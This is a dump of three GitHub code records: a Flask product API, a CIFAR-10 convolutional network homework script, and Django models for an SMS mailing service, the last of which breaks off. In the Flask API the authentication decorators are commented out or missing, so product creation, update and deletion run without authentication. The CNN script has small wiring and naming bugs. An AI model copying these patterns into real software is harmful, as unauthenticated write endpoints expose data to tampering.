{"seq_id": "30597353191", "text": "from flask import request\nfrom flask_jwt_extended import jwt_required, get_jwt, get_jwt_identity\nfrom flask_restful import Resource\n\nimport schemas\nfrom models.users import UsersModel\nfrom models.products import ProductsModel\n\n\nclass Products(Resource):\n\n    # get all products\n    @classmethod\n    # @jwt_required()\n    def get(cls):\n        products_model_list = ProductsModel.find_all()\n\n        return schemas.Products(many=True).dump(products_model_list), 200\n\n    # create product\n    @classmethod\n    def put(cls):\n        input_json = schemas.InputRegistrationData().load(request.get_json())\n        name = input_json['name']\n        image = input_json['image']\n        description = input_json['description']\n        price = input_json['price']\n\n        try:\n            products_model = ProductsModel(\n                name=name,\n                image=image,\n                description=description,\n                price=price,\n            )\n\n            products_model.save()\n\n        except Exception as error:\n            print(f'Registration error: {error}')\n            return {'err': 'product not created.'}, 400\n\n        return {'msg': 'product created.'}, 200\n\n\n    # update product\n    @classmethod\n    # @jwt_required()\n    def patch(cls):\n        input_json = schemas.InputProductID().load(request.get_json())\n\n        products_model = ProductsModel.find_by_id(input_json['id'])\n\n        products_model.name = input_json['name']\n        products_model.image = input_json['image']\n        products_model.description = input_json['description']\n        products_model.price = input_json['price']\n\n        products_model.save()\n\n        return {'info': 'product updated'}, 200\n\n    @classmethod\n    # @jwt_required()\n    def delete(cls):\n\n        input_json = schemas.InputProductID().load(request.get_json())\n        product_model = ProductsModel.find_by_id(input_json['id'])\n\n        if product_model:\n            product_model.delete()\n\n            return {'info': 'product deleted'}, 200\n\n        else:\n            return {'err': 'product not found'}, 400\n", "repo_name": "weihongsoh/project4", "sub_path": "backend/backend/resources/products.py", "file_name": "products.py", "file_ext": "py", "file_size_in_byte": 2078, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask_restful.Resource", "line_number": 10, "usage_type": "name"}, {"api_name": "models.products.ProductsModel.find_all", "line_number": 16, "usage_type": "call"}, {"api_name": "models.products.ProductsModel", "line_number": 16, "usage_type": "name"}, {"api_name": "schemas.Products", "line_number": 18, "usage_type": "call"}, {"api_name": "schemas.InputRegistrationData", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 23, "usage_type": "name"}, {"api_name": "models.products.ProductsModel", "line_number": 30, "usage_type": "call"}, {"api_name": "schemas.InputProductID", "line_number": 50, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 50, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 50, "usage_type": "name"}, {"api_name": "models.products.ProductsModel.find_by_id", "line_number": 52, "usage_type": "call"}, {"api_name": "models.products.ProductsModel", "line_number": 52, "usage_type": "name"}, {"api_name": "schemas.InputProductID", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 67, "usage_type": "name"}, {"api_name": "models.products.ProductsModel.find_by_id", "line_number": 68, "usage_type": "call"}, {"api_name": "models.products.ProductsModel", "line_number": 68, "usage_type": "name"}]}
{"seq_id": "7392119212", "text": "import tarfile\nimport pickle\nimport random\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport h5py\n\n#---------------------------------------------------------------zero padding---------------------------------------------------------------------\ndef zero_pad(X, pad):\n    \"\"\"\n    Pad with zeros all images of the dataset X. The padding is applied to the height and width of an image, \n    as illustrated in Figure 1.\n    \"\"\"\n    X_pad = np.pad(X, ((0,0), (pad,pad), (pad,pad), (0,0)), 'constant')\n    return X_pad\n\ndef conv_single_step(a_slice_prev, W, b):\n    \"\"\"\n    Apply one filter defined by parameters W on a single slice (a_slice_prev) of the output activation \n    of the previous layer.\n    \"\"\"\n    s = a_slice_prev * W\n    Z = np.sum(s)\n    Z = Z + b\n\n    return Z\n#---------------------------------------------------------------forward propogation---------------------------------------------------------------------\ndef conv_forward(A_prev, W, b, hparameters):\n    \"\"\"\n    Implements the forward propagation for a convolution function\n    \"\"\" \n    (m, n_H_prev, n_W_prev, n_C_prev) = A_prev.shape\n    (f, f, n_C_prev, n_C) = W.shape\n    stride = hparameters[\"stride\"]\n    pad = hparameters[\"pad\"]\n    n_H = int((n_H_prev - f + 2*pad) / stride + 1)\n    n_W = int((n_W_prev - f + 2*pad) / stride + 1)\n    Z = np.zeros((m, n_H, n_W, n_C))\n    A_prev_pad = zero_pad(A_prev, pad)\n\n    for i in range(m):                              \n        a_prev_pad = A_prev_pad[i, :, :, :]       \n        for h in range(n_H):   \n            for w in range(n_W):   \n                for c in range(n_C):     \n                    vert_start = stride * h\n                    vert_end = vert_start + f\n                    horiz_start = stride * w\n                    horiz_end = horiz_start + f\n                    a_slice_prev = a_prev_pad[vert_start:vert_end, horiz_start:horiz_end, :]\n                    Z[i, h, w, c] = conv_single_step(a_slice_prev, W[:, :, :, c], b[:, :, :, c])\n    assert(Z.shape == (m, n_H, n_W, n_C))\n    cache = (A_prev, W, b, hparameters)\n    return Z, cache\n#---------------------------------------------------------------forward pooling---------------------------------------------------------------------\ndef pool_forward(A_prev, hparameters, mode = \"max\"):\n    \"\"\"\n    Implements the forward pass of the pooling layer\n    \"\"\"\n    (m, n_H_prev, n_W_prev, n_C_prev) = A_prev.shape\n    f = hparameters[\"f\"]\n    stride = hparameters[\"stride\"]\n    n_H = int(1 + (n_H_prev - f) / stride)\n    n_W = int(1 + (n_W_prev - f) / stride)\n    n_C = n_C_prev\n    A = np.zeros((m, n_H, n_W, n_C))    \n    for i in range(m): \n        for h in range(n_H): \n            for w in range(n_W): \n                for c in range (n_C):\n                    vert_start = h * stride\n                    vert_end = vert_start + f\n                    horiz_start = w * stride\n                    horiz_end = horiz_start + f\n                    a_prev_slice = A_prev[i, vert_start:vert_end, horiz_start:horiz_end, c]\n                    if mode == \"max\":\n                        A[i, h, w, c] = np.max(a_prev_slice)\n                    elif mode == \"average\":\n                        A[i, h, w, c] = np.mean(a_prev_slice)\n    cache = (A_prev, hparameters)\n    assert(A.shape == (m, n_H, n_W, n_C))\n    return A, cache\n#---------------------------------------------------------------backward propogation---------------------------------------------------------------------\n\ndef conv_backward(dZ, cache):\n    \"\"\"\n    Implement the backward propagation for a convolution function\n    \"\"\"\n    (A_prev, W, b, hparameters) = cache\n    (m, n_H_prev, n_W_prev, n_C_prev) = A_prev.shape\n    (f, f, n_C_prev, n_C) = W.shape\n    stride = hparameters['stride']\n    pad = hparameters['pad']\n    (m, n_H, n_W, n_C) = dZ.shape\n    dA_prev = np.zeros((m, n_H_prev, n_W_prev, n_C_prev))\n    dW = np.zeros((f, f, n_C_prev, n_C))\n    db = np.zeros((1, 1, 1, n_C))\n    A_prev_pad = zero_pad(A_prev, pad)\n    dA_prev_pad = zero_pad(dA_prev, pad)\n\n    for i in range(m): \n        a_prev_pad = A_prev_pad[i, :, :, :]\n        da_prev_pad = dA_prev_pad[i, :, :, :]\n\n        for h in range(n_H):      \n            for w in range(n_W):        \n                for c in range(n_C):    \n                    vert_start = h * stride\n                    vert_end = vert_start + f\n                    horiz_start = w * stride\n                    horiz_end = horiz_start + f\n                    a_slice = a_prev_pad[vert_start:vert_end, horiz_start:horiz_end, :]\n                    da_prev_pad[vert_start:vert_end, horiz_start:horiz_end, :] += W[:,:,:,c] * dZ[i, h, w, c]\n                    dW[:,:,:,c] += a_slice * dZ[i, h, w, c]\n                    db[:,:,:,c] += dZ[i, h, w, c]\n        dA_prev[i, :, :, :] = da_prev_pad[pad:-pad, pad:-pad, :]\n    assert(dA_prev.shape == (m, n_H_prev, n_W_prev, n_C_prev))\n\n    return dA_prev, dW, db\n\ndef create_mask_from_window(x):\n    \"\"\"\n    Creates a mask from an input matrix x, to identify the max entry of x.\n    \"\"\"\n    mask = (x == np.max(x))\n    return mask\n\n#---------------------------------------------------------------backward pooling---------------------------------------------------------------------\ndef distribute_value(dz, shape):\n    \"\"\"\n    Distributes the input value in the matrix of dimension shape\n    \"\"\"\n    (n_H, n_W) = shape\n    average = dz / (n_H * n_W)\n    a = average * np.ones(shape)\n\n    return a\ndef pool_backward(dA, cache, mode = \"max\"):\n    \"\"\"\n    Implements the backward pass of the pooling layer\n    \"\"\"\n    (A_prev, hparameters) = cache\n    stride = hparameters['stride']\n    f = hparameters['f']\n    m, n_H_prev, n_W_prev, n_C_prev = A_prev.shape\n    m, n_H, n_W, n_C = dA.shape\n    dA_prev = np.zeros(np.shape(A_prev))\n\n    for i in range(m):  \n        a_prev = A_prev[i, :, :, :]\n\n        for h in range(n_H):           \n            for w in range(n_W):   \n                for c in range(n_C):    \n                    vert_start = h * stride\n                    vert_end = vert_start + f\n                    horiz_start = w * stride\n                    horiz_end = horiz_start + f\n                    if mode == \"max\":\n                        a_prev_slice = a_prev[vert_start:vert_end, horiz_start:horiz_end, c]\n                        mask = create_mask_from_window(a_prev_slice)\n                        dA_prev[i, vert_start: vert_end, horiz_start: horiz_end, c] += np.multiply(mask, dA[i, h, w, c])\n\n                    elif mode == \"average\":\n\n                        da = dA[i, h, w, c]\n                        shape = (f, f)\n                        dA_prev[i, vert_start: vert_end, horiz_start: horiz_end, c] += distribute_value(da, shape)\n    assert(dA_prev.shape == A_prev.shape)\n    return dA_prev\n\n#---------------------------------------------------------------loading dataset---------------------------------------------------------------------\n\nimport tensorflow as tf #to plot histograms\nfrom urllib.request import urlretrieve\nfrom os.path import isfile, isdir\nfrom tqdm import tqdm\n\ncifar10_dataset_folder_path = 'cifar-10-batches-py'\nn_batches = 5\nvalid_features = []\nvalid_labels = []\nclass DownloadProgress(tqdm):\n    last_block = 0\n\n    def hook(self, block_num=1, block_size=1, total_size=None):\n        self.total = total_size\n        self.update((block_num - self.last_block) * block_size)\n        self.last_block = block_num\n\ndef load_label_names():\n    return ['airplane', 'automobile', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck']\n\ndef load_cfar10_batch(cifar10_dataset_folder_path, batch_id):\n    with open(cifar10_dataset_folder_path + '/data_batch_' + str(batch_id), mode='rb') as file:\n        # note the encoding type is 'latin1'\n        batch = pickle.load(file, encoding='latin1')\n\n    features = batch['data'].reshape((len(batch['data']), 3, 32, 32)).transpose(0, 2, 3, 1)\n    labels = batch['labels']\n\n    return features, labels\n\ndef display_stats(cifar10_dataset_folder_path, batch_id, sample_id):\n    features, labels = load_cfar10_batch(cifar10_dataset_folder_path, batch_id)\n\n    if not (0 <= sample_id < len(features)):\n        print('{} samples in batch {}.  {} is out of range.'.format(len(features), batch_id, sample_id))\n        return None\n\n    print('\\nStats of batch #{}:'.format(batch_id))\n    print('# of Samples: {}\\n'.format(len(features)))\n\n    label_names = load_label_names()\n    label_counts = dict(zip(*np.unique(labels, return_counts=True)))\n    for key, value in label_counts.items():\n        print('Label Counts of [{}]({}) : {}'.format(key, label_names[key].upper(), value))\n\n    sample_image = features[sample_id]\n    sample_label = labels[sample_id]\n\n    print('\\nExample of Image {}:'.format(sample_id))\n    print('Image - Min Value: {} Max Value: {}'.format(sample_image.min(), sample_image.max()))\n    print('Image - Shape: {}'.format(sample_image.shape))\n    print('Label - Label Id: {} Name: {}'.format(sample_label, label_names[sample_label]))\n\ndef normalize(x):\n\n    min_val = np.min(x)\n    max_val = np.max(x)\n    x = (x-min_val) / (max_val-min_val)\n    return x\n\ndef one_hot_encode(x):\n    encoded = np.zeros((len(x), 10))\n\n    for idx, val in enumerate(x):\n        encoded[idx][val] = 1\n\n    return encoded\n#---------------------------------------------------------------preprocessing---------------------------------------------------------------------\ndef _preprocess_and_save(normalize, one_hot_encode, features, labels, filename):\n    features = normalize(features)\n    labels = one_hot_encode(labels)\n\n    pickle.dump((features, labels), open(filename, 'wb'))\n\ndef preprocess_and_save_data(cifar10_dataset_folder_path, normalize, one_hot_encode):\n\n    for batch_i in range(1, n_batches + 1):\n        features, labels = load_cfar10_batch(cifar10_dataset_folder_path, batch_i)\n\n        index_of_validation = int(len(features) * 0.1)\n        _preprocess_and_save(normalize, one_hot_encode,\n                             features[:-index_of_validation], labels[:-index_of_validation],\n                             'preprocess_batch_' + str(batch_i) + '.p')\n\n        valid_features.extend(features[-index_of_validation:])\n        valid_labels.extend(labels[-index_of_validation:])\n\n    _preprocess_and_save(normalize, one_hot_encode,\n                         np.array(valid_features), np.array(valid_labels),\n                         'preprocess_validation.p')\n\n    with open(cifar10_dataset_folder_path + '/test_batch', mode='rb') as file:\n        batch = pickle.load(file, encoding='latin1')\n\n    test_features = batch['data'].reshape((len(batch['data']), 3, 32, 32)).transpose(0, 2, 3, 1)\n    test_labels = batch['labels']\n\n    _preprocess_and_save(normalize, one_hot_encode,\n                         np.array(test_features), np.array(test_labels),\n                         'preprocess_training.p')\n                         \ndef load_preprocess_training_batch(batch_id, batch_size):\n\n    filename = 'preprocess_batch_' + str(batch_id) + '.p'\n    features, labels = pickle.load(open(filename, mode='rb'))\n\n    return batch_features_labels(features, labels, batch_size)\n    \ndef batch_features_labels(features, labels, batch_size):\n\n    for start in range(0, len(features), batch_size):\n        end = min(start + batch_size, len(features))\n        yield features[start:end], labels[start:end]\n\ntf.reset_default_graph()\n\nx = tf.placeholder(tf.float32, shape=(None, 32, 32, 3), name='input_x')\ny =  tf.placeholder(tf.float32, shape=(None, 10), name='output_y')\nkeep_prob = tf.placeholder(tf.float32, name='keep_prob')\n\ndef conv_net(x, keep_prob):\n    conv1_filter = tf.Variable(tf.truncated_normal(shape=[3, 3, 3, 64], mean=0, stddev=0.08))\n    conv2_filter = tf.Variable(tf.truncated_normal(shape=[3, 3, 64, 128], mean=0, stddev=0.08))\n    conv3_filter = tf.Variable(tf.truncated_normal(shape=[5, 5, 128, 256], mean=0, stddev=0.08))\n    conv4_filter = tf.Variable(tf.truncated_normal(shape=[5, 5, 256, 512], mean=0, stddev=0.08))\n\n    conv1 = tf.nn.conv2d(x, conv1_filter, strides=[1,1,1,1], padding='SAME')\n    conv1 = tf.nn.relu(conv1)\n    conv1_pool = tf.nn.max_pool(conv1, ksize=[1,2,2,1], strides=[1,2,2,1], padding='SAME')\n    conv1_bn = tf.layers.batch_normalization(conv1_pool)\n    conv2 = tf.nn.conv2d(conv1_bn, conv2_filter, strides=[1,1,1,1], padding='SAME')\n    conv2 = tf.nn.relu(conv2)\n    conv2_pool = tf.nn.max_pool(conv2, ksize=[1,2,2,1], strides=[1,2,2,1], padding='SAME')\n    conv2_bn = tf.layers.batch_normalization(conv2_pool)\n    conv3 = tf.nn.conv2d(conv2_bn, conv3_filter, strides=[1,1,1,1], padding='SAME')\n    conv3 = tf.nn.relu(conv3)\n    conv3_pool = tf.nn.max_pool(conv3, ksize=[1,2,2,1], strides=[1,2,2,1], padding='SAME')\n    conv3_bn = tf.layers.batch_normalization(conv3_pool)\n    conv4 = tf.nn.conv2d(conv3_bn, conv4_filter, strides=[1,1,1,1], padding='SAME')\n    conv4 = tf.nn.relu(conv4)\n    conv4_pool = tf.nn.max_pool(conv4, ksize=[1,2,2,1], strides=[1,2,2,1], padding='SAME')\n    conv4_bn = tf.layers.batch_normalization(conv4_pool)\n    flat = tf.contrib.layers.flatten(conv4_bn)\n    full1 = tf.contrib.layers.fully_connected(inputs=flat, num_outputs=128, activation_fn=tf.nn.relu)\n    full1 = tf.nn.dropout(full1, keep_prob)\n    full1 = tf.layers.batch_normalization(full1)\n    full2 = tf.contrib.layers.fully_connected(inputs=full1, num_outputs=256, activation_fn=tf.nn.relu)\n    full2 = tf.nn.dropout(full2, keep_prob)\n    full2 = tf.layers.batch_normalization(full2)\n    full3 = tf.contrib.layers.fully_connected(inputs=full2, num_outputs=512, activation_fn=tf.nn.relu)\n    full3 = tf.nn.dropout(full3, keep_prob)\n    full3 = tf.layers.batch_normalization(full3)\n    full4 = tf.contrib.layers.fully_connected(inputs=full3, num_outputs=1024, activation_fn=tf.nn.relu)\n    full4 = tf.nn.dropout(full4, keep_prob)\n    full4 = tf.layers.batch_normalization(full4)\n    out = tf.contrib.layers.fully_connected(inputs=full3, num_outputs=10, activation_fn=None)\n    return out\n#---------------------------------------------------------------training---------------------------------------------------------------------\ndef train_neural_network(session, optimizer, keep_probability, feature_batch, label_batch):\n    session.run(optimizer,\n                feed_dict={\n                    x: feature_batch,\n                    y: label_batch,\n                    keep_prob: keep_probability\n                })\n\ndef print_stats(session, feature_batch, label_batch, cost, accuracy):\n    loss = session.run(cost,\n                    feed_dict={\n                        x: feature_batch,\n                        y: label_batch,\n                        keep_prob: 1.\n                    })\n    valid_acc = session.run(accuracy,\n                         feed_dict={\n                             x: valid_features,\n                             y: valid_labels,\n                             keep_prob: 1.\n                         })\n\n    print('Loss: {:>10.4f} Validation Accuracy: {:.6f}'.format(loss, valid_acc))\nif not isfile('cifar-10-python.tar.gz'):\n    with DownloadProgress(unit='B', unit_scale=True, miniters=1, desc='CIFAR-10 Dataset') as pbar:\n        urlretrieve(\n            'https://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz',\n            'cifar-10-python.tar.gz',\n            pbar.hook)\n\nif not isdir(cifar10_dataset_folder_path):\n    with tarfile.open('cifar-10-python.tar.gz') as tar:\n        tar.extractall()\n        tar.close()\n\nbatch_id = 3\nsample_id = 7000\ndisplay_stats(cifar10_dataset_folder_path, batch_id, sample_id)\n\npreprocess_and_save_data(cifar10_dataset_folder_path, normalize, one_hot_encode)\n\nvalid_features, valid_labels = pickle.load(open('preprocess_validation.p', mode='rb'))\n\nepochs = 10\nbatch_size = 128\nkeep_probability = 0.7\nlearning_rate = 0.001\n\nlogits = conv_net(x, keep_prob)\nmodel = tf.identity(logits, name='logits') \n\ncost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=logits, labels=y))\noptimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(cost)\n\ncorrect_pred = tf.equal(tf.argmax(logits, 1), tf.argmax(y, 1))\naccuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32), name='accuracy')\n\nsave_model_path = './image_classification'\n#---------------------------------------------------------------plotting histograms using tensorflow saved model from abve---------------------------------------------------------------------\nprint('Training...')\nwith tf.Session() as sess:\n    sess.run(tf.global_variables_initializer())\n\n    for epoch in range(epochs):\n        n_batches = 5\n        for batch_i in range(1, n_batches + 1):\n            for batch_features, batch_labels in load_preprocess_training_batch(batch_i, batch_size):\n                train_neural_network(sess, optimizer, keep_probability, batch_features, batch_labels)\n\n            print('Epoch {:>2}, CIFAR-10 Batch {}:  '.format(epoch + 1, batch_i), end='')\n            print_stats(sess, batch_features, batch_labels, cost, accuracy)\n\n    saver = tf.train.Saver()\n    save_path = saver.save(sess, save_model_path)", "repo_name": "siffi26/Build-Convolutional-Neural-Network", "sub_path": "cifar_hw2.py", "file_name": "cifar_hw2.py", "file_ext": "py", "file_size_in_byte": 17029, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.pad", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 162, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 183, "usage_type": "name"}, {"api_name": "pickle.load", "line_number": 197, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 229, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 230, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 235, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 246, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 262, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 266, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 272, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 278, "usage_type": "call"}, {"api_name": "tensorflow.reset_default_graph", "line_number": 288, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 290, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 290, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 291, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 291, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 292, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 292, "usage_type": "attribute"}, {"api_name": "tensorflow.Variable", "line_number": 295, "usage_type": "call"}, {"api_name": "tensorflow.truncated_normal", "line_number": 295, "usage_type": "call"}, {"api_name": "tensorflow.Variable", "line_number": 296, "usage_type": "call"}, {"api_name": "tensorflow.truncated_normal", "line_number": 296, "usage_type": "call"}, {"api_name": "tensorflow.Variable", "line_number": 297, "usage_type": "call"}, {"api_name": "tensorflow.truncated_normal", "line_number": 297, "usage_type": "call"}, {"api_name": "tensorflow.Variable", "line_number": 298, "usage_type": "call"}, {"api_name": "tensorflow.truncated_normal", "line_number": 298, "usage_type": "call"}, {"api_name": "tensorflow.nn.conv2d", "line_number": 300, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 300, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.relu", "line_number": 301, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 301, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.max_pool", "line_number": 302, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 302, "usage_type": "attribute"}, {"api_name": "tensorflow.layers.batch_normalization", "line_number": 303, "usage_type": "call"}, {"api_name": "tensorflow.layers", "line_number": 303, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.conv2d", "line_number": 304, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 304, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.relu", "line_number": 305, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 305, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.max_pool", "line_number": 306, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 306, "usage_type": "attribute"}, {"api_name": "tensorflow.layers.batch_normalization", "line_number": 307, "usage_type": "call"}, {"api_name": "tensorflow.layers", "line_number": 307, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.conv2d", "line_number": 308, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 308, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.relu", "line_number": 309, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 309, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.max_pool", "line_number": 310, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 310, "usage_type": "attribute"}, {"api_name": "tensorflow.layers.batch_normalization", "line_number": 311, "usage_type": "call"}, {"api_name": "tensorflow.layers", "line_number": 311, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.conv2d", "line_number": 312, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 312, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.relu", "line_number": 313, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 313, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.max_pool", "line_number": 314, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 314, "usage_type": "attribute"}, {"api_name": "tensorflow.layers.batch_normalization", "line_number": 315, "usage_type": "call"}, {"api_name": "tensorflow.layers", "line_number": 315, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.layers.flatten", "line_number": 316, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 316, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.layers.fully_connected", "line_number": 317, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 317, "usage_type": "attribute"}, {"api_name": "tensorflow.nn", "line_number": 317, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.dropout", "line_number": 318, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 318, "usage_type": "attribute"}, {"api_name": "tensorflow.layers.batch_normalization", "line_number": 319, "usage_type": "call"}, {"api_name": "tensorflow.layers", "line_number": 319, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.layers.fully_connected", "line_number": 320, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 320, "usage_type": "attribute"}, {"api_name": "tensorflow.nn", "line_number": 320, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.dropout", "line_number": 321, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 321, "usage_type": "attribute"}, {"api_name": "tensorflow.layers.batch_normalization", "line_number": 322, "usage_type": "call"}, {"api_name": "tensorflow.layers", "line_number": 322, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.layers.fully_connected", "line_number": 323, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 323, "usage_type": "attribute"}, {"api_name": "tensorflow.nn", "line_number": 323, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.dropout", "line_number": 324, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 324, "usage_type": "attribute"}, {"api_name": "tensorflow.layers.batch_normalization", "line_number": 325, "usage_type": "call"}, {"api_name": "tensorflow.layers", "line_number": 325, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.layers.fully_connected", "line_number": 326, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 326, "usage_type": "attribute"}, {"api_name": "tensorflow.nn", "line_number": 326, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.dropout", "line_number": 327, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 327, "usage_type": "attribute"}, {"api_name": "tensorflow.layers.batch_normalization", "line_number": 328, "usage_type": "call"}, {"api_name": "tensorflow.layers", "line_number": 328, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.layers.fully_connected", "line_number": 329, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 329, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 355, "usage_type": "call"}, {"api_name": "urllib.request.urlretrieve", "line_number": 357, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 362, "usage_type": "call"}, {"api_name": "tarfile.open", "line_number": 363, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 373, "usage_type": "call"}, {"api_name": "tensorflow.identity", "line_number": 381, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 383, "usage_type": "call"}, {"api_name": "tensorflow.nn.softmax_cross_entropy_with_logits", "line_number": 383, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 383, "usage_type": "attribute"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 384, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 384, "usage_type": "attribute"}, {"api_name": "tensorflow.equal", "line_number": 386, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 386, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 387, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 387, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 387, "usage_type": "attribute"}, {"api_name": "tensorflow.Session", "line_number": 392, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 393, "usage_type": "call"}, {"api_name": "tensorflow.train.Saver", "line_number": 404, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 404, "usage_type": "attribute"}]}
{"seq_id": "1215193352", "text": "from django.db import models\n\nfrom taggit.managers import TaggableManager\nfrom phonenumber_field.modelfields import PhoneNumberField\nfrom timezone_field import TimeZoneField\n\n\nclass OperatorCode(models.Model):\n    \"\"\"Код оператора\"\"\"\n    code = models.CharField('код мобильного оператора', max_length=3)\n\n    def __str__(self):\n        return self.code\n\n    class Meta:\n        verbose_name = 'код оператора'\n        verbose_name_plural = 'коды операторов'\n\n\nclass MailingList(models.Model):\n    \"\"\"Рассылка\"\"\"\n    start_dt = models.DateTimeField('дата и время запуска рассылки')\n    text = models.TextField('текст сообщения', max_length=500)\n    operator_code = models.ForeignKey(\n        OperatorCode,\n        related_name='+',\n        on_delete=models.CASCADE,\n        verbose_name='код мобильного оператора',\n    )\n    tags = TaggableManager(blank=True)\n    end_dt = models.DateTimeField('дата и время окончания рассылки')\n\n    def __str__(self):\n        return self.text\n\n    class Meta:\n        verbose_name = 'рассылку'\n        verbose_name_plural = 'рассылки'\n\n\nclass Client(models.Model):\n    \"\"\"Клиент\"\"\"\n    phone = PhoneNumberField('номер телефона', null=False, blank=False, unique=True)\n    operator_code = models.ForeignKey(\n        OperatorCode,\n        verbose_name='код мобильного оператора',\n        related_name='+',\n        on_delete=models.CASCADE\n    )\n    tags = TaggableManager()\n    time_zone = TimeZoneField(\n        'часовой пояс',\n        default='Europe/Moscow',\n        choices_display=\"WITH_GMT_OFFSET\"\n    )\n\n    def __str__(self):\n        return str(self.phone)\n\n    class Meta:\n        verbose_name = 'клиента'\n        verbose_name_plural = 'клиенты'\n\n\nclass Message(models.Model):\n    \"\"\"Сообщение\"\"\"\n    create_dt = models.DateTimeField('дата и время создания', auto_now_add=True)\n    